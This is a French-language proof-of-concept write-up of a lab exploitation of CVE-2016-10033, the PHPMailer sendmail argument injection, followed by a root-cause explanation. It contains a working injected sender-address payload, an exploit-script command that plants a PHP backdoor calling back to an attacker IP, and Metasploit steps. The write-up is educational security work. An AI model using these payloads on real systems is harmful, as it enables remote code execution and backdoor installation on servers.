
Preuve de concept pour le CVE-2016-10033 (PHPMailer)
Commençons par mettre en place l'application vulnérable.
Command: docker pull vulnerables/cve-2016-10033


You can now access the vulnerable website at localhost:8080 in the web browser.

Saisie du nom : OSEC (peut être n'importe quelle chaîne, cela n'affecte pas l'exploit)
Email d'expéditeur trafiqué : "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
Le fonctionnement de cet email d'expéditeur trafiqué est expliqué en détail dans la section description du vecteur d'attaque. Concernant les paramètres spécifiques, le deuxième paramètre -oQ/tmp spécifie le répertoire de la file d'attente et le troisième paramètre, -X/www/pwn.html spécifie l'emplacement du fichier journal à écrire.
Si le répertoire de la file d'attente n'est pas spécifié, le processus sendmail tentera d'accéder au répertoire de file d'attente par défaut (/var/spool/mqueue-client/) qui serait protégé pour empêcher tout accès non autorisé et toute falsification, ce qui est une mesure de sécurité courante. Pour éviter ce problème de permission, vous devez spécifier un répertoire de file d'attente où l'utilisateur exécutant le script PHP a les droits d'écriture. Généralement, un répertoire comme /tmp est utilisé car il est généralement accessible en écriture par tous les utilisateurs.
Si le corps de l'email contient du code PHP, et si le fichier journal spécifié est placé dans un répertoire accessible via le web, l'attaquant peut exécuter le code PHP en accédant au fichier journal via un navigateur web, entraînant ainsi une exécution de code à distance.
Saisie du message : Ceci est simplement un exemple de fichier HTML qu'un attaquant pourrait télécharger. Bien sûr, l'attaquant pourrait télécharger quelque chose de bien pire comme une porte dérobée, ce que nous ferons dans la prochaine méthode d'exploitation.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Commande : python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> spécifie l'URL cible
-cf -> spécifie l'emplacement du formulaire de contact dans l'URL spécifiée dans -url. (Dans notre cas, c'est exactement le même que -url donc nous avons simplement inclus une barre oblique)
-ip -> spécifie l'adresse IP de l'attaquant pour que la porte dérobée se reconnecte
-d -> spécifie le répertoire relatif pour télécharger le fichier PHP de la porte dérobée
--post-action -> l'attribut name du champ caché
--post-msg -> l'attribut name du champ de saisie du message
Remarque : La raison pour laquelle nous devons spécifier --post-action à "submit" et --post-msg à "message" est que dans l'application vulnérable que nous utilisons, l'attribut name est différent des valeurs par défaut utilisées dans le script d'exploitation Python.
Les attributs name dans l'application vulnérable :

Les attributs name par défaut spécifiés dans le script :


Dans l'image ci-dessus, vous pouvez voir que le programme tente d'accéder à http://127.0.0.1:8080//www/phpbackdoor9284.php ce qui est évidemment incorrect à cause du //www. Cela ne fonctionnera pas car dans ce site web vulnérable, /www est la racine du site, donc vous ne pouvez pas accéder à http://127.0.0.1:8080/www puisque http://127.0.0.1:8080 est déjà à /www.
De plus, dans l'image ci-dessous, nous pouvons voir que l'exploit a effectivement fonctionné car le fichier phpbackdoor9284.php a été créé avec succès dans le répertoire. Par conséquent, le seul problème était de savoir comment supprimer ce //www de l'URL.

Après un examen plus approfondi du script Python, nous avons réussi à localiser la variable BACKDOOR_URL qui spécifie l'URL du fichier PHP de la porte dérobée.
Dans la variable, nous pouvons voir que le répertoire cible que nous avons spécifié (args.TARGET_UP_DIR) est concaténé avec la variable BACKDOOR_FILE.
Pour résoudre le problème, nous devons supprimer cela et la barre oblique supplémentaire.
Avant :

Après :


Commandes :
msfconsole
search CVE-2016-10033
use 1

Commandes :
set RHOSTS 192.168.79.1 (spécifie l'adresse IP de la cible)
set RPORT 8080 (spécifie le port de la cible)
set TARGETURI /(spécifie l'URL du formulaire web)
set WEB_ROOT /www (spécifie l'emplacement de la racine du site web)

Commande : exploit

Nous sommes arrivés à la fin du POC.
La classe PHPMailer utilise la fonction PHP mail() comme transport par défaut.
Le transport est implémenté à l'aide de la fonction mailSend() :

Si vous regardez la ligne 12,

l'adresse de l'expéditeur est concaténée avec -f conformément à la documentation PHP de la fonction mail() pour indiquer au binaire sendmail que la chaîne après l'argument -f est l'adresse e-mail de l'expéditeur.

À la dernière ligne de la fonction mailSend(),

tous les arguments requis par la fonction PHP mail() sont passés, y compris le 5ème paramètre $params qui permet de passer des paramètres supplémentaires au binaire sendmail.
L'image ci-dessous montre les paramètres que la fonction mail() prend, qui correspondent aux paramètres que la fonction mailSend() transmet.

Comme vu ci-dessus, nous savons que la chaîne $params est construite à partir de la variable Sender. Cette chaîne Sender est normalement définie à l'aide de la méthode setFrom() qui valide l'adresse de l'expéditeur que l'utilisateur saisit dans le formulaire web.

En raison de la validation de la fonction validateAddress(), PHPMailer rejetterait par exemple un email comme,
attacker -InjectedParam2 @attacker.com
ce qui empêcherait l'injection de paramètres supplémentaires à Sendmail via la fonction mail().
Après des recherches plus approfondies de la part du découvreur du CVE, il a réalisé que la validation est en fait effectuée selon la spécification RFC 3696.
Le RFC permet aux e-mails de contenir des espaces lorsqu'ils sont entre guillemets ". Ainsi, l'adresse e-mail suivante serait acceptée par la méthode setFrom() :
"Attacker -Param2 -Param3"@test.com
Elle serait ensuite transmise à la fonction mailSend() puis à la fonction PHP mail() qui exécuterait /usr/bin/sendmail, le binaire MTA (Mail Transfer Agent), avec la liste d'arguments suivante :
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (lire les destinataires depuis les en-têtes)
Arg no. 2 == [-i] (ignorer les points sur les lignes)
Arg no. 3 == [-f"Attacker -Param2 -Param3"@test.com]
En d'autres termes, comme ceci :

ce qui ne fonctionnerait pas pour l'attaquant car Param2 et Param3 sont passés dans le même argument numéro 3 qui spécifie l'adresse de l'expéditeur.
Cependant, les attaquants peuvent contourner cela par un échappement supplémentaire. En injectant une séquence supplémentaire de \" dans l'email de l'expéditeur après le premier argument,
"Attacker \" -Param2 -Param3"@test.com
et en le transmettant à PHPMailer puis finalement à la fonction mail(), cela exécuterait le binaire sendmail avec la liste d'arguments suivante :
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]
En d'autres termes, comme ceci :

Ainsi, cette fois-ci, les attaquants pourraient injecter des paramètres supplémentaires, en l'occurrence les paramètres 4 et 5.
Cette vulnérabilité a été découverte par Dawid Golunski.
L'image Docker a été créée par opsxcq - https://github.com/opsxcq
et enfin, mais non des moindres, mes charmants membres du groupe qui m'ont aidé avec le POC :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/